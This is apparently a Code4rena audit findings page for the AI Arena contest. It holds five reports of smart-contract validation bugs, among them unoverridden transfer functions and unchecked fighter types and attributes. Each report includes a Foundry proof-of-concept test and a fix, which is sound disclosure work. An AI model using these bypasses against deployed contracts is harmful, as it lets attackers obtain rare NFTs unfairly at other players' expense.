Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 186/283
Findings: 5
Award: $4.37
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355-L365
A user is able to transfer a staking fighter and also have more that the MAX_FIGHTERS_ALLOWED which is 10. He can do that by using the safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
function from Openzeppelin's ERC721 contract.
Even though the protocol overrides one of the safeTransferFrom
functions and adds the needed checks, there is another one with different function selector that is not overridden. This allows users to break protocol's rules, which state that:
Add this test to 2024-02-ai-arena\test\FighterFarm.t.sol
.
To run it use: forge test --match-test testOneAddressGetsMoreThanMaxFighters -vvv
function testOneAddressGetsMoreThanMaxFighters() public { // Suppose we have 10 minted fighters, which is the maximum an address can have // User2 has one fighter address user = makeAddr("user"); address user2 = makeAddr("user2"); vm.startPrank(address(_mergingPoolContract)); for (uint i = 0; i < 10; i++) { _fighterFarmContract.mintFromMergingPool(user, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } _fighterFarmContract.mintFromMergingPool(user2, "_neuralNetHash", "original", [uint256(1), uint256(80)]); // The user has the maximum amount of fighters console.log("The user has ", _fighterFarmContract.balanceOf(user)); vm.stopPrank(); // Even though one of the safeTransferFrom function is overwritten, the other one is not which allows to bypass the MAX_Fighters check vm.startPrank(user2); _fighterFarmContract.safeTransferFrom(user2, user, 10, ""); vm.stopPrank(); console.log("The user has now ", _fighterFarmContract.balanceOf(user)); }
In this test we can see how users are able to break protocol rules by using an ERC721 safeTransferFrom
function that is not overridden by FighterFarm.sol
.
User2
was able to transfer a fighter to user
even though he already had the maximum number of fighters - 10. However this transfer succeeds and now user
has 11 NFTS.
This can be replicated with a staking fighter since we are this check as well.
Breaking protocol invariants.
Manual Review, VS Code, Foundry
In FighterFarm.sol
override safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
and add the _ableToTransfer
function as a require statement and then call _safeTransfer
.
Invalid Validation
#0 - c4-pre-sort
2024-02-23T17:38:56Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T17:39:06Z
raymondfam marked the issue as duplicate of #43
#2 - c4-judge
2024-03-07T06:06:45Z
HickupHH3 marked the issue as not a duplicate
#3 - c4-judge
2024-03-07T06:06:53Z
HickupHH3 marked the issue as duplicate of #739
#4 - c4-judge
2024-03-14T06:43:24Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L301
Users can bypass the rules of non-transferable game items by using safeBatchTransferFrom
.
GameItems
contract is an ERC1155 contract. It overrides the safeTransferFrom
function and adds a require statement to make sure that the item is set to transferable before actually transferring it. However there is another ERC1155 transferring function - safeBatchTransferFrom
, that is not overridden by the contract. This allows users to bypass the require statement by using that function.
This can be problematic as the owners could want to create a game item that can be minted once and is very valuable so they want only one user to have it and to not be able to transfer it.
Add this test in 2024-02-ai-arena\test\GameItems.t.sol
To run it: forge test --match-test testTransfersNontransferableItem -vvv
uint256[] public ids; uint256[] public values; function testTransfersNontransferableItem() public { // Owner creates a game item that is not meant to be transferable // Lets say this is a very valuable item that can only be obtained once and can never be transferred vm.startPrank(_ownerAddress); _gameItemsContract.createGameItem("NonTransferableItem", "", true, false, 1, 0, 1); vm.stopPrank(); address randomUser = makeAddr("randomUser"); address user2 = makeAddr("user2"); vm.startPrank(randomUser); _gameItemsContract.mint(1, 1); vm.stopPrank(); // The random user has this item console.log("Random user balance of this item: ", _gameItemsContract.balanceOf(randomUser, 1)); console.log("User2 balance of this item: ", _gameItemsContract.balanceOf(user2, 1)); // second game item ids.push(1); values.push(1); // He then decides to transfer it to someone else // Even though the item is not transferable vm.prank(randomUser); _gameItemsContract.safeBatchTransferFrom(randomUser, user2, ids, values, ""); console.log("Random user balance of this item: ", _gameItemsContract.balanceOf(randomUser, 1)); console.log("User2 balance of this item: ", _gameItemsContract.balanceOf(user2, 1)); }
In this test we can see how a user was able to transfer a non-transferable item, bypassing the require check.
This breaks protocol rules and can lead to unexpected in-game results.
Manual Review, VS Code, Foundry
Override safeBatchTransferFrom
and add the check to see if the item is transferable.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T03:36:51Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:36:58Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:27:27Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:51:24Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262
A user is able to change his fighter type when redeeming a mint pass. This is because there is no validation in FighterFarm::redeemMintPass
To better see the issue let's look at an example:
numToMint[0] = 1 && numToMint[1] = 0
)AAMintPass::claimMintPass
to claim that passFighterFarm::redeemMintPass
to redeem his fighter, however instead of inputing the fighter type to be 0 for champion, he inputs 1 for dendroid because dendroids are way more rare.Add this test in 2024-02-ai-arena\test\FighterFarm.t.sol
To run it: forge test --match-test testMintsDendroidInsteadOfChampion -vvv
function testMintsDendroidInsteadOfChampion() public { uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // A user claims his mint pass _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; // Change the fighter type to be a dendroid // Even though the user is meant to mint a champion _fighterTypes[0] = 1; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); // check balance to see if we successfully redeemed the mintpass for a fighter // We get minted a dendroid instead of a champion assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); // check balance to see if the mintpass was burned assertEq(_mintPassContract.balanceOf(_ownerAddress), 0); }
In this test we can see how a user was able to claim a dendroid fighter instead of a champion. All he had to do is change _fighterTypes[0]
to equal 1 for a dendroid type.
This devalues the dendroid type fighter because now every user with a mint pass can have it.
Manual Review, VS Code, Foundry
To mitigate this I would recommend to add a variable to keep track of how many fighters a user claimed for each type - similarly to passesClaimed
but to be checked in FighterFarm::redeemMintPass
and decrement on redeeming a fighter of this type.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T07:29:58Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:30:07Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:00Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:54:25Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370-L391
A user can manipulate the reroll process for a fighter by inputing 1 for dendroid type even though the type of his fighter is champion. This happens due to a missing check for the fighter type.
When rerolling a user gets a chance to get better attributes, but he could also get worse attributes, it is all pseudo-random. When calling FighterFarm::reroll
we are asked to input the fighter type of our token, however a malicious user can change that value to get the results in his favour.
Here is a brief explanation of how the process could actually be manipulated:
attributeProbability
array for an attribute by making the rarest value at first place. Here is an example of an array like that - [1, 50, 9, 10, 16, 14]_fighterFarmContract.reRoll(0, 1)
where 0 is the tokenId and 1 is the fighter type (He intentionally inputed 1 for a dendroid type instead of 0 for a champion)_createFighterBase
and now the new dna = 1 (because we input 1 for the fighter type even though it is not)._aiArenaHelperInstance.createPhysicalAttributes
where it bypasses the first check for dendroidBool since our fighter is not of dendroid type and goes to the else clause.Add this test to 2024-02-ai-arena\test\FighterFarm.t.sol
To run: forge test --match-test testManipulatingRareness -vvv
function testManipulatingRareness() public { // A user has a champion type fighter address user = makeAddr("user"); vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(user, "_neuralNetHash", "original", [uint256(1), uint256(80)]); // Getting funds for the user to do a reroll _fundUserWith4kNeuronByTreasury(user); // Lets say the probabilities array changes and the first value is the most rare one // The sponsors said the order of the values does not matter // These are the probabilites of the head attribute, we take it for example _probabilities[0] = [1, 50, 9, 10, 16, 14]; // The user maliciously inputs 1 as if his fighter is dendroid _neuronContract.addSpender(address(_fighterFarmContract)); vm.prank(user); _fighterFarmContract.reRoll(0, 1); /* What would happen next is: a call to _createFighterBase and now the new dna = 1 (because we input 1 for the fighter type even though it is not). Then it would call _aiArenaHelperInstance.createPhysicalAttributes where it bypasses the first check for dendroidBool since our fighter is not of dendroid type and goes to the else clause. The rarityRank then is almost certain to become 0 because we divide 1 / attributeDivisor % 100 and in the default divisors everything is higher than 1. When getting the attributeProbabilityIndex we will get the first element of the probability array which is the most valuable - the value 1. We therefore get the most valuable head attribute and successfully manipulated the reroll to out advantage */ (,uint256[6] memory attributeIndexes,,,,,) = _fighterFarmContract.getAllFighterInfo(0); // We can clearly see that we got the rarest index for the head attribute console.log("The head attribute has an index of: ", attributeIndexes[0]); }
This allows for a manipulated reroll and making it unfair to the users who actually got the rarest attribute index
Manual Review, VS Code, Foundry
In FighterFarm::reroll
add a check to make sure that the fighter type we inputed is the same as the one stored in the fighters
array. Like this:
if(fighters[tokenId].dendroidBool) { require(fighterType == 1, "Not the same fighter type"); } else { require(fighterType == 0, "Not the same fighter type"); }
Invalid Validation
#0 - raymondfam
2024-02-22T00:02:05Z
This report elicits one consequence. A rarer attribute switch indeed. But that would not change its type.
#1 - c4-pre-sort
2024-02-22T00:02:09Z
raymondfam marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-02-22T00:04:43Z
raymondfam marked the issue as primary issue
#3 - c4-pre-sort
2024-02-22T01:04:57Z
raymondfam marked the issue as duplicate of #306
#4 - c4-judge
2024-03-05T04:31:39Z
HickupHH3 marked the issue as satisfactory
#5 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
The winners of a round can claim a fighter with way higher attributes that the maximum allowed.
In MergingPool
contract when winners are picked by an admin, they can claim their fighter using the claimRewards
function and they can input their own attributes. The problem is that these attributes are not well validated and a user can input whatever number he likes.
The restrictions are:
Through claimRewards
a user can make his fighter have 110 element and 200 weight which said by the sponsor "could potentially break things in our game".
Add this test to 2024-02-ai-arena\test\MergingPool.t.sol
To run it: forge test --match-test testWinnerBreaksGameLogic -vvv
function testWinnerBreaksGameLogic() public { address userWinner = makeAddr("userWinner"); // Imagine these are the winning fighters _mintFromMergingPool(userWinner); _mintFromMergingPool(_ownerAddress); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // The owner now picks the winner and the winner can later claim his fighter _mergingPoolContract.pickWinner(_winners); string[] memory modelURIs = new string[](1); modelURIs[0] = "randomURI"; string[] memory modelTypes = new string[](1); modelTypes[0] = "randomType"; uint256[2][] memory customAttributes = new uint256[2][](1); customAttributes[0][0] = 110; customAttributes[0][1] = 200; // The user now claims his fighter but maliciously inputs higher customAttributes to break the in-game logic vm.startPrank(userWinner); _mergingPoolContract.claimRewards(modelURIs, modelTypes, customAttributes); vm.stopPrank(); // Getting the newly minted fighter his weight (,,uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2); console.log("Fighter with tokenId 1 has weight: ", weight); }
In this test we see how the user was able to create a fighter that has attributes higher than the maximum range. The newly created fighter has a weight of 200 and element = 110. This can be seen after running the test.
This could could potentially break in-game logic.
Manual Review, VS Code, Foundry
If you still want the user to input his custom attributes we need to add a check in _createNewFighter
remove this:
if (customAttributes[0] == 100) { (element, weight, newDna) = _createFighterBase(dna, fighterType); }
and add this:
uint256 elMaxRange = numElements[generation[fighterType]]; if (customAttributes[0] >= elMaxRange || (customAttributes[1] > 95 || customAttributes[1] < 65)) { (element, weight, newDna) = _createFighterBase(dna, fighterType); }
By adding this we ensure that the customAttributes won't go off the ranges.
Invalid Validation
#0 - c4-pre-sort
2024-02-24T08:52:25Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:52:40Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:22:46Z
HickupHH3 marked the issue as satisfactory